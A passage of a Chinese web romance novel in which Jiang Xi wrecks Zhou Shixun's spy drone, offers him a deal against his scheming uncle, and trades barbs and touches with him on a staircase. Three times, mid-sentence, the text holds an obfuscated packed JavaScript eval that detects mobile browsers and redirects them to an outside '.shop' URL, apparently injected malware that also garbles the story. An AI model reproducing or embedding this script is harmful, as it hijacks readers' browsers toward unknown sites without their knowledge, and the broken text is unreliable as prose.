江禧巡视了眼天花板左右两角,还是没有。若有所思地垂睫,忽然,她想起当时周时浔手中是不是拿着个类似……遥控器的东西? 她掀起睫毛,仰头,目光落在外面那台正冲着自己的黄色无人机,盯着它看了好一会儿。 直到发现机头频闪的绿光点。 ——原来是它。 周时浔够会玩的。 一想到整片电视墙都在上演她此刻偷听的窘态,而周时浔正在冷眼旁观,这种被监视的感觉让她浑身难受得要命。 不等了,想办法先走。 幸好身后的光杆地球仪足够高大,足以掩映住她。趁周锡风父子二人还在谈话,江禧站起来往窗外楼下瞧了眼,很好,楼墙外设有安全铁梯。 她扒住窗台,蹑手蹑脚地放轻动作,最快速翻窗出来顺梯成功爬了下去。 结果还没等站稳脚,兜里突如其来的手机震动声险些把她吓坐在地。 江禧手忙脚乱地握着手机,快速跑去拐角,靠着墙低头看了眼来电显示。 是周锡风的手机号。 她背过。但时机不到她没联系过。 电话接起来,没什么意外可言。如他父亲周庆辉交代的那样,周锡风让她去周时浔的别墅里拿回车钥匙。 电话挂断,江禧眼尾的笑意一秒冷却,她边朝前走边陷入自我沉思。 周庆辉到底想干什么? 他在计划什么? 正想着,她蓦然站定脚步,回头半眯起眼,一眨不眨地盯着面前这台黄色无人机,沉默不语。 无人机在她身后一路“尾随”。 当她加快步伐,无人机也跟着追紧,而她有意放慢脚步时,无人机也随之缓下速度。 它没有高空飞行,就在她身后保持不远不近的距离,好像丝毫不担心被她发现。 不,它就是故意要江禧发现。 它在为主人表态。 对于被她偷窥这件事,周时浔的报复方式是反向溜着她玩。 这种被耍的情形,让江禧感觉自己仿佛置身于水族箱内的鱼。被他近乎施舍般的落眸打量,被分析,被洞穿,一言一行都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13423402|141163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被他掌控。 任她在玻璃水缸内如何伪作,如何上蹿下跳,如何摆尾示弱,对他来说都只是一场卖力的表演。 玻璃外,周时浔始终冷眼观赏,兴致缺缺。 正如他们的对峙。 他是如此高傲,操纵,权势滔天。 而她只有低卑,受控,不值一提。 本来就被周锡风父子搞得很不爽了,现在还要被周时浔耍着玩。江禧心底噌地冒出火气,她没说什么,转身继续往前走,无人机也依旧追随其后。 穿过浓茂繁盛的椰林,绕开中央喷泉,便迎来大片庭院假山水景苑。 江禧这时倏地站住,微侧头,余光瞥见后方无人机惯性追近,她迅速蹲下伸手进旁侧的锦鲤生态池中,摸出一块分量不轻的鹅卵石。 鹅卵石拿在手里掂了掂,随后她站起来,转身朝无人机狠力砸过去。 没击中机身。 不过,四角的螺旋桨倒是被她成功砸飞一个。 无人机猛地受到重挫,直线降掉。所幸还剩三角的螺旋桨使机身没有完全掉落在地,反而在降落一段距离后悬停住,维持在离地20公分的低空飞行状态。 同时,摄像头仍保持完好。 于是远程投放的巨幅投影屏上,起初呈现的是少女那张元气靓丽的面庞,明眸生动,雪肤红唇。 她眼神挑衅地看着镜头,笑容顽劣,像只坏心眼的小恶魔,乖戾张扬。 随即镜头遭受剧烈抖动,画面骤然掉落。 后一秒映出的是女孩的双腿。 她的小腿又细又直,但不过分骨瘦,肉脂均匀得恰到好处。橘橙色运动长袜包裹脚踝,纤盈的小腿肚被松紧袜口勒出微微肉感,扎眼活力的亮橙色更显腿部肌肤如玉般的白。 客厅内,周时浔倚坐在巨幕荧屏对面。他单手懒散搭着沙发靠背,视线落在屏幕上,稀微挑眉。 眼前的画面也没有保持多久。 很快,他看到屏幕中的女孩抬起腿,“哐”地一脚直接踩住勉强低飞的无人机,二话不说又多补了两脚。 那样嚣张的气势,果决,干脆,生猛又生野。仿佛踩的不是无人机,而是它主人的项上人头。 周时浔略勾唇,仰头饮尽杯中酒,起身,随手将无人机遥控器扔去一旁,跨步迈上二楼浴室。 当周时浔洗完澡穿戴规整,从衣帽间走出时,楼下巨幕荧屏上的画面仍在颠簸变换。 如一帧到底的长镜头,巨幕荧屏上收录着【遊園】的落日景色,从葡萄藤园到人工天鹅湖,从竞技球馆到影剧中心…… 直到庄园落下幽蓝晚昏。 直到华灯初上。 这个行进速度,绝非无人机自主飞行的速度。 而是。 是女孩拿着他的无人机用力奔跑的速度。 跑动路线的终点。 是他的别墅。 无人机的录音系统依旧无损。女孩剧烈运动中的呼吸声被清晰录入,输送进巨幕屏的立体环绕音箱中。 于是,江禧的喘息贯穿整个别墅中庭。如此激烈,如此急促,如她蓬勃旺盛的生命力般不管不顾。 威士忌酒液浇淋入杯。 周时浔一手抄兜站在楼廊栏杆后,半低敛眸,垂手拎着玻璃杯沿,腕骨微转带动酒杯慢速摇晃。 液体流动,冰球碰撞杯壁,混合少女软腻断续的喘音,发出当啷清脆的响声。 五分钟后。 别墅的门铃被按响。 年轻漂亮的女孩穿过流光颤动的夜雾,奔上庭院台阶,推开门,像只野蛮新生的精灵闯进他的房子。 大门关阖在她身后。 将盈盈摇曳的影子留给今晚的月色。 江禧站在客厅中央,气喘吁吁。 这时,楼上传来掷地有力地叩响。 江禧循声抬头,望上去—— 楼上,周时浔居高临下地站在那里。 他单手拎杯磕了两下栏杆示意,举杯,敬她,然后扫一眼腕表时间,薄唇勾起的弧度微讽。 “太慢。”他说。 6.野孩子 少女的喘息声还在中庭回荡。 太慢? 什么太慢? 江禧若有所觉地偏头去看。入眼是整面浮夸的巨幅荧幕,比她在镜头下看到健身房里的电视墙夸张十倍不止。 搞什么,真看直播呢!? 还特意换成这么大的巨幕屏看是吧! 该死的巨幕屏。该死的无人机。 一想到自己今天所有的狼狈模样,都被无限放大、无比清晰地全程直播在这张超清画质的屏幕上,她恨不得把手里的破无人机摔个稀烂。 而事实上江禧也真的这样做了。 心底默然冷笑一声,下一刻她突然抬手,用力一把将无人机摔扔在地,伴随“哐啷”一声,机身整个斜飞出去。 但…好像没什么事发生。 反而无人机摄像头开启广角,对焦楼梯。映出了周时浔看戏的神情。 江禧:“?” 不是,质量这么好?? 激愤情绪一时上头才做出莽撞的举动。不过,江禧很快冷静下来,她没有忘记今晚来这里找周时浔的目的。 迅速平复心情,她弯起眉眼,仰头露出极为歉意的表情,拍了下手尴尬一笑:“啊,抱歉啊周先生,手滑了。” 周时浔眼也懒得抬,微抿一口酒,声线微嘲:“大晚上跑过来,就为了来表演这个?” “……”极力忽略他话里的讽意。 “可以匀我几分钟时间吗?”江禧往前走了几步,看着他,“我有事想跟您说。” 周时浔没说可以,没说不行。 他慢吞吞喝完杯中酒,放下,双手抄兜缓步迈下几层台阶,半晌,才缺乏情绪地瞥她一眼,说:“你还有两分钟。” 这算是通融吗? 江禧旋即双眸亮闪了下,扬起头,露出笑容,望着楼梯上的男人,毫不遮掩地向他这样表达诉求: “今天早上我说的,您有再次考虑过吗?” 她是指,想要得到“他的撑腰”这件事。 别墅三层上下打通,拱弧式挑空的设计极限拉深楼高,使整个客厅中庭看起来尤为空旷。 让站在中央的江禧,也格外渺小。 但她就是这样站在那里。 她非常坚定。她开门见山。面对位高权重的男人她不见半分拘谨或怯懦,对于再度提出被拒绝过的诉求也没有任何犹豫与铺垫,她不卑不亢,没给自己留退路。 “我说过,”周时浔神态平静。或者另一种程度上,这种平静,代表他不近人情的倨傲。 “你,没资格求我。”他再次拒绝。 很遗憾,女孩的勇敢不足以打动这个男人。 他继续迈下楼梯,似乎准备出门。 一身黑色西装刺绣鸢尾暗纹,剪裁得当,复古双排扣配搭奢昂领针,极致衬勒清拔修挺的身骨。发型精致,肩脊平阔周正,腰窄腿长,独特的男性魅力融在他每一个举手投足之间。 每一个角度,都是荷尔蒙美学的动态补帧。 江禧又在分心了。 分明眼前男人西装革履,可她脑中浮现的画面,竟是他赤裸上身的慵懒姿态。 他的紧实肌理,他的遒劲腰线,他被晚霞的辉煌光线所粉饰的腹肌轮廓,他坚韧发力的人鱼线,他的…… “还不走?”直到男人冰冷下达逐客令,脑中朦胧旖旎的遐想被一秒刺破,令她恍惚间回神。 “这次不是请求。”江禧紧忙接话,懊恼自己上一秒的分心,随即小跑过去站到楼梯口,着重强调, “合作,是我想跟您合作。” 周时浔迈下台阶的步伐稍凝。他站在楼梯中间,敛低眼睫,难得耐性不错,懒懒沉沉地提醒她:“黎小姐,合作的前提……” “是等价的筹码,我知道。”江禧抢在他前面答话,“这次我有。” 她冲他扬了扬手机,往上跑了几层台阶,弯唇:“别急着拒绝我,您可以先听听看。” 周时浔沉默了几秒,眉尾略挑。 江禧当他默认了,于是立刻打开手机,播放录音。 “她今早上是周时浔送回来的。” “天黑以后你给那丫头打电话,就说你已经跟周时浔说好了,让她今晚直接过去他别墅里……” “其他的别管,我来安排……” 是书馆内周锡风父子二人的谈话录音。 录音播放完毕。可周时浔看上去从容依旧,没有半点江禧预料中的情绪起伏,仿佛事不关己,冷静得可怕。 “就这样?”男人腔调轻蔑。 他迈开长腿拾级而下,修长指尖漫不经心地调整袖扣,最终在距离她仅剩三层台阶的位置站定。 抬睫漠然蔑她一眼,见江禧还挡在那里,于是用命令的口吻说,“让开。” 为什么? 为什么他不为所动? 她不信他对录音的内容全然不在意。 江禧不肯退让。 她甚至抬脚迈上一阶,顾自说: “来的时候我一直在想,叔叔口中所说的‘安排’,到底是要‘安排’什么?” 就在刚才,江禧重新又听完一遍录音里的谈话之后,她总算想明白了。 还能安排什么。 当然是安排人过来“捉奸”。 关于周氏家族内部的财富传承问题,江禧了解得不多。但港城人皆知,周时浔在周家掌权已久。 无论周老爷子生前身后,嫡长孙周时浔都是手握周家资产与股权最大份额的第一继承人。 越过父辈直接将财产分配予孙辈。这并不多见。 “我想,您与我未来的这位公公,关系并不好对吗?” 她又往上迈了一阶。 如果周庆辉对家产有所觊觎,那么周时浔就是他最强有力的竞争对手。那么一切就都顺理成章了。 此刻,江禧只比周时浔矮下一阶。 周时浔隐约皱起眉,对于女孩这种越过安全社交距离的行为似乎抵触,他冷淡地后撤了步,迈上一阶。 问句不留情面:“知道是陷阱,还敢来?” 江禧却并无察觉,反而跟着周时浔又朝他迈近一层,再次拉回彼此不合时宜的距离。 她笑得狡黠,学他的不答反问:“不趁这个机会,清理一下您的别墅吗?” 周庆辉会安排谁来“捉奸”呢? 当然不会是周锡风那个蠢货。倘若他们关系不和这个推测成立的话,那会是他安排在周时浔身边的眼线吗? 这个庄园那么大,人员混杂,佣人、厨师、管家、园艺师谁都可以。偷拍偷录视频,只要有心怎么样都能拿到“证据”。 可是,周时浔又不说话了。 他虚眯起眼睛,抬手散漫搭着楼梯扶手。浅碧眸色如一湖沉寂无波的水光,平静徘徊在她脸上,薄凉的眼神说不上是戏谑更多,还是探究的审视感更强。 总之,他没有再给予她任何回应。 这让江禧开始心急了。 她真的猜不透他。她自以为还算聪敏的小心思,分明对付其他男人绰绰有余,却总是无法在周时浔身上顺利践行。 嘴角笑意渐渐僵住,她紧密直视着眼前的男人。 然而时间过了好一会儿,她发现周时浔仍旧兴致不高,脸色微变,像是扛不住他的视线拷问,她率先打破沉默: “他在利用我。” 是的,周庆辉在利用她。 他这样大费周章,当然不是针对江禧。他根本不会把江禧放在眼里。这父子二人,一个是真想撵她走,所以用拿车钥匙的借口跟她对赌。 而另一个,自始至终针对的都是周时浔。 听到早上江禧坐了周时浔的车回来,就打算无中生有想搞点伦理丑闻出来。这样就算对周时浔事业上构不成什么威胁,至少可以在周老爷子刚刚去世、尚未最终公布遗产的这个关键时机,先让他惹一身骚。 成功的话,还能让江禧也没脸继续待在周家。 一箭双雕的下作计谋。 所以周庆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13435073|141163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辉对江禧,的确是利用。她没说错。 “别误会,我不是抱怨的意思。” “我的意思是,”女孩站在比男人矮两层的楼梯上,眼眸澄亮纯净,仰视他,但不畏惧他。坚定坦诚地告诉他, “周先生,您也可以利用我。” ——这才是,她拿出的筹码。 利用她,将计就计,周时浔完全可以借这个难得的机会清走周庆辉的眼线。 他何乐而不为? 又过去半分钟,可眼前的男人还是…… 还是无动于衷。 江禧不得不绞尽脑汁地思考,她微微垂下眼睫,从周时浔冰冷寒凉的眸中逃开,满心都在反思是否应该在自己的筹码上附加更为诱惑力的价值。可面对周时浔这并不容易。 如果她想不出,她就无法坚定。 “你慌了。”周时浔在这时倏然开口,凝视她的目光斥足剖析力,平铺直叙地洞穿她,剖露她, “你在紧张,是么?” 江禧惊愕地抬起头,狠狠僵滞住。 她没想到这个男人仅用一个眼神就完全拆解她的思想,这样犀利,如此轻漫,淡声陈述的字词里不着色任何鲜活的情感,一如他掠夺性的冷锐气场。让她本能地感觉到危险。 画面在这一瞬发生调位的转变。 周时浔懒淡挑起唇,主动迈下一阶。 女孩无力招架他强硬的控制力,脚步下意识后躲,被生生逼退下一层台阶,纤长皙腻的手指紧紧攥住栏杆扶手,指节因抓力发白,以此来被动保持身体的平衡。 “你的谈判非常失败,黎小姐。”他下颌稍含,看着她的眼睛含藏玩味的眩光,语气绅士得近乎尖锐,灼伤她, “因为你太容易被牵动情绪了。” 没错,这场对话的掌控权始终在周时浔手中。 他拒绝,她就自我怀疑;他回应,她就沾沾自喜;要是他不拒绝也不回应,完全沉默时,她就像被攻破了心理防线一样开始心急。 越心急越紧张,越紧张越迫切。 而最先表露迫切情绪的人,最先丧失主动。 她被分析得太彻底了。 江禧感到非常不适,她用力攥捏着扶手,像攥着某种利刃的边缘,掌心很快握出濡湿的汗意。 周时浔慵懒靠在栏杆,讥讽的意味快要从喑沉华美的声线中滴下来:“下次再跟别人谈判,脸上思考的表情痕迹别太明显。” 这时候,他倏忽俯下身,偏头,薄唇略微凑近在江禧耳际,挑眼凝着她身后的巨幕屏,嗓音低磁: “谈不赢,就要懂得出奇制胜。” 玉龙茶香在她鼻尖重力弹跳了下。 冷寒冰透的男性香。 有点好闻。 江禧骤然被自己的想法吓住,身体没能把控好,一个失衡直接往后连退了两层台阶。 而周时浔只是缓缓站直,眼色淡淡地观赏她的狼狈。 好在,江禧很快找回平衡,站稳身子。 “说说你的计划。”男人最后给她一次机会。 江禧拼命让自己理智下来,她重新抬起眼睛,不露声色地凝望着楼梯上的男人,没有立即接话。 昏黄的光影幽稠瑰丽,迷离淋落。 被丢弃在角落的无人机朝向楼梯,将这段无声的般配画面完整摄录下来,反投在宽硕的巨幕荧屏上。 屏幕中,过了好长一段时间,少女忽然毫不迟疑地抬脚,一步跨上两层台阶,径直抵近那个衣冠光鲜的男人。 聪明的女孩总是学什么都很快。 她非常会学以致用。周时浔前一秒教的技巧,转头就可以被她现学现卖,重新用回在他的身上。 他刚刚都说了什么? 他说她太容易被牵动情绪。 所以这次江禧学会控制情绪,一眨不眨地安静注视着他。 他说,谈不赢就要懂得出奇制胜。 那就出奇制胜。 “周先生,您碰过女人吗?”江禧问。 7.暗涌 江禧站在比周时浔只矮一层的阶梯,当下彼此间被她主动拉近的这个距离,与她所问的问题类属同一性质。 出其不意。不合时宜。 少女从不懂收敛自己。 剧烈运动让她瓷白的皮肤透出健康鲜活的红润,额头沁出稀微薄汗,皙腻优美的脖颈有点湿淋淋的,缠黏着凌乱发丝。 雪肤与黑发的视觉对比十分强烈。 像同时出现在她身上的两种气质。一份潮漉的、无辜的我见犹怜;一份灵动的、新鲜的蓬勃元气。 在这种割裂感的矛盾错位中,开绽出少女纤细柔软的美,和野性又叛逆的旺盛生命力。 周时浔喉结略动,顿了下,压低的嗓音有一分微哑的偏移:“你说什么?” “您听懂了的。”江禧的语气温柔但坚定。 少女从不懂收敛自己。 她的美好像她缺乏运动的紊乱呼吸,像她鼻尖的汗意,像她雪肤与黑发的鲜明对比。 无法隐藏。不必要隐藏。 她将自己的上一个问题延展开,做出解释:“我是想说,如果您有过女人,那么对这种事应该会很有经验。” “哪种事?” 江禧没料到他会这样问,哽了一下,不自觉握上楼梯扶手,“就、就…我的意思是……” 周时浔略偏眸,视线落在她手上。 此刻,她与他同时扶握着楼梯旁侧的扶手栏杆。江禧手落的位置,在他上方,相当于跟他交错搭放。 两根白金手链叠戴在女孩手腕,细链伶仃交缠,攀绕她腻白纤瘦的腕骨。 手腕内侧的链条交扣间,悬垂下一颗蓝玛瑙吊坠,随江禧一把握住栏杆的落手动作划出晶亮剔闪的弧线。 摇摇晃晃中,竟刚好跌落在周时浔的手背。 玛瑙吊坠轻巧幽蓝,似一尾小蛇盘桓,悄然游曳,缓速爬过男人性感勃发的青筋脉络,隐约产生一点陌生的痒意。 他们没有直接的肌肤贴触。 于是蓝色玛瑙成为所有感官的诱发剂。诱发浅微的异样感,诱发电流脉冲,也诱发某种奇妙张力的萌动。 十分古怪的感受。 周时浔不由地皱起眉,从栏杆上收回手。懒于再理会她,他绕开江禧,径直从她身旁迈下楼梯,全然无视她的高贵。 “等等!”江禧反应极快,迅速伸手拉住他。 周时浔步伐稍凝,侧低眸瞥了眼她的手。 她总是不懂收敛。隔着男人的西装衣袖,江禧毫无顾忌地直接握住他的腕骨。她的手指发凉,柔软指腹乍然落入他手中,紧密贴抵他温热有力的掌心,带来尤为冷腻的微妙压感。 真正的肌肤相贴,彼此皮肤的温差会最大程度加深异样感。这与刚刚又是完全不同的感受。 没那么容易忽视的感受。 而江禧却对此浑然不觉,一心只顾着说服他,挽留他:“叔叔既然都费心布局了,我们总要做做样子,不然怎么钓出他安排在你身边的小鬼呢?” “没必要。”周时浔想抽开手。 反被女孩更用力地捉紧,情急之下忍不住抬高些声音,脱口而出:“只要一点肢体接触就可以,不麻烦的!” “放手。”他不耐地命令。 周时浔站下了一层台阶。可男人一米九的身高实在过于挺拔,即便江禧站得比他高一级,依旧无法与他目光齐平。 稍稍仰起小脸,露出刘海下的细长眼尾,她看着他,乌密睫毛如饱满纤薄的黑色蝶翼轻轻张合。 江禧没有放手,她还是不肯退让: “现在您的这栋别墅外面,也许已经有叔叔派来的人在偷拍了,所以我们可以假装表现得亲密……” “怎么算亲密?”他淡淡低嗤。 “我说了只要一点肢体接触。”没由来地停顿在这里,忽然江禧嘴角轻弯,她没有再坚持,而是手指略微放松了些握力。 当然她没有完全放开周时浔。 “像这样。”她说。 音落,江禧微微迈前半步,然后牵引着男人的手放在自己的后腰上。 她站在楼梯台阶边缘的位置。 柔朦绮丽的灯影落下来,滴进她眼里,似冰块融化淌开,泛颤起盈盈潮湿的水光在她一双通透的黑眸中,像初生的鹿。 女孩的一捻蛮腰细若无骨。而男人的手掌很大,指骨精瘦修长,筋脉爆起,看上去一只手就能随意掌控她的软腰。 可周时浔根本没有半秒停留。他眼神平静,浅碧色的眸光挑不起一点兴致,趋近冷漠,甚至不曾分她一眼,本能想从她腰上撤开手。 但被江禧更快一步地按住,“就是这样。” 女孩用力捉住他的手指,坚定固执地按回自己腰后。 她的动作如此缺乏边界意识。可她的表情自然,“这样就可以。”强调的语气也单纯。 周时浔却没给她任何反应。他沉默地拉低视线,眸底凝结暗色,情绪莫辨地凝着她。没转身离开,当然也没有配合她的行为举止。 不过。 不过心思缜密的女孩绝不会放过任何细枝末节。在彼此僵持的半分钟里,江禧非常敏锐地觉察到,周时浔被她按在腰后的手隐隐有些微僵滞。 她从他向来寡寂无波的眼底破译到一丝退避。 这意味着什么? 这是不是意味着。 “周先生。”江禧突然这样叫他。 女孩扬起下颚注视他,随之一种肾上腺素激增的快感莫名逼上来,像被取悦到,让她近乎狡猾地笑起来。 “您没有过女人,对吗?”她以陈述的语调提问。 港媒从未传出过任何周时浔的花边绯闻,可毕竟这个男人在圈内的身份特殊至此,江禧以为他明着干净,根上也是跟周锡风一样的风流种。 现在看来,他根本不懂如何与异性肢体接触。 他才是完全没有经验的那一个。 在这方面他居然,是一张白纸。 正当女孩为自己的这个发现而沾沾自喜,眼前男人倏忽眉骨松动,淡微勾唇,喉间溢出一声呵笑,慵懒地将问题抛回给她:“你期待我说什么?” 江禧不禁怔忡一瞬。 周时浔虚眯起眼,徘徊在她脸上的视线浸透讥诮的玩味,“我的确没有这方面的经验。”他承认得很痛快。 “怎么?”他微微欠身,蓦地又凑近她一些,“黎小姐比较懂是么?” 江禧被惊到,不自觉挪步往后退,却忘了自己正站在楼梯上。险些被身后阶梯绊倒之际,腰际陡然一紧。 只见周时浔眼梢微扬,长指敷落在她不堪一握的纤弱腰肢,腕骨一个收力将人勾回来,揽住她,牢牢把控她的身体。 旋即带她调转站位,下压腰身,生生迫使她脚下错乱地倒退了半步。 再晃过神来,江禧下意识转头,发觉自己后腰紧紧抵靠在楼梯栏杆,上半身完全悬空在外,整个人被扣在周时浔的身体范围内。 她回头望向男人,目光惊疑又略带质问地盯着他。 谁料周时浔更加抵近一步,修直的体态轮廓在她身上投下阴影,缓慢拉下视线,凝住她的眼神凌厉,冰冷,斥足压迫性。 令她非常不适,又令她躲闪不开。 江禧这才后知后觉感到惶恐,胡乱抓住男人的手臂,蜷起手指,捉紧他奢昂的西装衣料,磕绊抵抗:“等、等一下……” “等什么?”周时浔挑眉。 “我、我…那个……”她眼里溢满惊悸。 习惯用谎言伪作的女孩只有在无措时才乖顺,紧张才退缩,害怕才诚实。 她听到自己的声音剧烈发颤,但她必须完成这个句子,“我、我其实也不太懂这种事……” “不懂?”可周时浔并不打算轻易放过她,淡侃,“刚才不是还挺会?” “我不是…”连反驳都丧失底气。 显然,是真正被吓到才肯表现出单纯不做作。 狡猾的女孩子。 周时浔恹恹挑起促狭的眼尾,他没再开口说什么,而是后撤开身体,箍在她腰上的手掌也很快卸力。 指尖离开时,不经意划了一下她的腰。 江禧瞳孔骤缩,脆弱的地方被猛然刺激,像横亘在心腔中央的敏感神经被轻力拨弹。不必暴力扯动,只要给予一点触碰,战栗感便如过电般烫过后脊骨,转瞬游蹿下尾椎,又酥又麻,酸胀感弥存。 江禧忍不住狠狠瑟缩了下。 这实在太奇怪了,这从未有过,这种超出她可控范围的感觉让她无比惊惧,江禧死死咬住唇,强迫自己冷静下来。 这时候,周时浔收回手,倦懒搭上她身后的栏杆,渐渐弯下腰与她目光平齐。他森冷带讽的眸猝然刺入她眼中,如此寒凉,江禧立刻仓皇地扭开头,警觉逃避他的视线追猎。 不成想下一刻,男人倏地出手掐起她的脸,长指施力强势地掰正,逼她被迫对上他的眼眸,指尖按掐的力度几乎弄痛她,“你是不是觉得自己很聪明?” “既然听到周庆辉的话,也该知道他是什么目的。还要多此一举,单独来找我,就为了所谓‘我的撑腰’?”他低敛着眼皮,捏紧她的脸蛋又扯近,突然变换粤语,眼神剥离几分讥嘲, “要讲你天真呆钝,定系精咯?” 这句她听懂了,说她愚蠢,还有狡猾。 分明他此刻的口吻尖锐如冰霜利刃。 分明他的姿态低蔑又刻薄。 分明她应该愤怒。 可江禧竟有些顾不上生气了。 男性独特的茶调冷香侵吞着她的嗅觉神经,让她耳根莫名灼起热度,发烫,顷刻烧遍脸颊,又迅速向下蔓延,连丰腻薄白的颈肤也烧成烂漫的浅粉色。 为什么会这样? 怎么可以这样。 江禧彻底慌了,呼吸变得短而急促,心跳难以为继。 下颚被他手掌有力卡在虎口,两侧脸肉受他指力挤压,微微撅起红唇。 抬起长睫看着他好一会儿,半晌后,她缓慢眨动水雾盈盛的双眼,很快鼻尖发红,眼底织缠起湿漉的细小血丝。 下一秒,泪珠唰地滚淌下她轻垂的眼尾。 周时浔不由略愣,指尖无意识松动了下。 江禧趁势一把打开他的手,瞪着他,声腔哽咽地控诉他:“真不讲道理,就算我有目的,不也是真的在帮您吗?” 她深呼吸了下,“您不该这样欺负我。” 周时浔抿紧唇线,锋凌眉骨深深拧起,“欺负你?” “叔叔为了害我们可以用手段,我只是多留个心眼保护自己,为什么要被您错怪成狡猾?” 江禧这样告诉他。 也告诉自己。 她确实坦诚地,只是想和周时浔等价交换。 她的那点心机,的确还不敢玩到这位家主先生头上。 空气像被冻结了几秒。她想起被自己摔在地上的、周时浔的无人机,那架机器竟然有音频功能,而当时无人机就停在书馆窗外。 那代表着,周庆辉父子说了什么,周时浔早便一清二楚,绝不仅限于自己给他听的录音内容那么简短。 江禧后知后觉庆幸自己刚才对他如实相告,没有说别的或是添油加醋。 至少这点诚实,是周时浔容忍她逾矩的唯一理由。 糟糕,又出错,又在他面前分神。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13446101|141163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后怕地移开眼,手心濡湿:“哪怕叔叔把您也算进去了,您依然只怪我而不追究他,因为你们是家人。” “而我是孤身一人,对不对?” 她的头在周时浔观审的目光里越来越低,话音话来越小。 聪明的女孩子当然懂得适时示弱。 哭是真的委屈, 也是真的在博同情。 直到周时浔的手机响起,生硬打破当下沉默诡异的局面。他接起电话,嗓音冷得骇人:“说。” 而江禧也趁这个短暂空挡,胡乱抹掉脸上的泪水,快速平复心情,努力重新调整回自己的正常状态。 电话那端的人不知说了什么,周时浔在这时扫了一眼江禧,随后拿下手机,开了免提,里面传来另一道端肃冷淡的男声:“人都按住了。” 说的还是普通话。 应该是他手底下的那个寸头男,江禧猜。 至于对方口中所说的“人”,也不难猜,大概指的是周庆辉派来偷拍自己跟周时浔,试图搞起事端的人。 电话里的人说完,周时浔才懒淡瞥向她,问:“我说过不追究周庆辉么,黎小姐。” “发给我。”来不及回答他的问句,江禧急忙抓住男人的手,对着他的手机要求寸头男,“把对方拍到的照片发给我。” 对面的人显然有些为难。 半晌,周时浔才开口:“发给她。” “好的,黎小姐。”寸头男得到自家老板允许,于是让江禧留下邮箱地址。 不愧是跟在周时浔身边做事的人,工作效率高得吓人,在电话挂断后三秒不到的功夫,江禧就接收到了对方发来的偷拍照片。 而在这个期间,周时浔已经顾自迈下楼梯,走到客厅中央,才感觉身后半天没动静。 他转过身,瞟了眼还站在楼梯上低头欣赏照片的女孩,再次沉声下达逐客令:“还有事?” “有事。”江禧话接得倒快。 她当然时刻牢记着今晚来到这里的目的,尽管刚才有过不算愉快的插曲,那也不足以成为让她分心的理由。 “人抓住了,您也可以反将一军了。” 这次,换少女站在了高位。 她还站在楼梯上,双手背后,轻垂眼睫望着他。女孩潮润泛水的双眸仍然通红,但那里已然恢复了来时的盎然神采。 她问,“现在,该轮到您为我撑腰了。” 纵使地位不平等,但她总是站在足够自信的立场,总是会勇敢,总是很直白。 就像他们在此之前在楼梯上的拉扯一般。 就算短暂被吓退,也会再次迈上来。 然后大方又坦然告诉孤高傲慢的男人: ——您不该欺负我、我为什么要被您错怪、该轮到您为我撑腰了。 所以说,少女永远不懂得收敛自己。 就像周时浔说得这样:“你还真是,记吃不记打。” “打都打了,不给颗甜枣哄一下吗?”她也撑起胆子,好像刚才在周时浔面前被吓哭的人不是自己一样。 “你看了这么久的照片,”可男人没有接她的话,“应该拍得不错吧。” 确实不错。 照片其实只拍到周时浔的侧颜。 光影落在他脸上,虚淡实浓,反为他不可一世的姿态带来一点温沉平和的反差。 在他修朗拔挺的体态下,是女孩纤窕曼妙的身姿。是她拉着男人的手,揽搂上自己细成一束的蛮腰,男人眉尖蹙起,似乎反感,而少女仰头凝视着他,样貌清晰,表情是得逞的挑衅。 所以照片更多的镜头占比是江禧。 江禧牵起嘴角,冲他扬扬手机,不觉明历:“还可以,俊男靓女。” 顿了下,她问,“您的属下会发给您看的吧?为什么这么问?” “我没兴趣。”周时浔懒淡嗤笑了下,字词深意:“但这庄园里面,或许很多人会愿意品鉴这张照片。” “什么意思?”她默了默,笑容还算镇定,“大哥要把它发出去吗?您这样的商界头部人物不怕绯闻缠身吗?” 他在威胁自己? 她心里隐约认为,周时浔不屑做这种事。 “周家摆平一条港媒的爆炸性桃色新闻只要两个小时。那之后,黎家能坚持几年?我记得周锡风不是个善罢甘休的人。” 江禧唰地白了脸色。 他或许不屑,但不是不能、不敢,也不是做不出来。 真的是!本来想借这个机会谈合作,结果被周时浔反过来拿捏了,不讲武德。 虽然今晚的事情化险为夷,但这张照片必须藏住。 绝对不能被周锡风发现,否则任务就完不成了。 “不过……”江禧开口之前,周时浔再次话锋一转,“你来之前接过他的电话,他说的应该是晚点会来这里接你。” “你觉得,”他故意咬重某个称谓,“我应该趁今晚的机会,让‘你的未婚夫’先欣赏一下我们的这张照片吗?” 转头扫了眼墙上的钟摆,女孩心中喃喃估算时间。 人应该已经在来的路上。 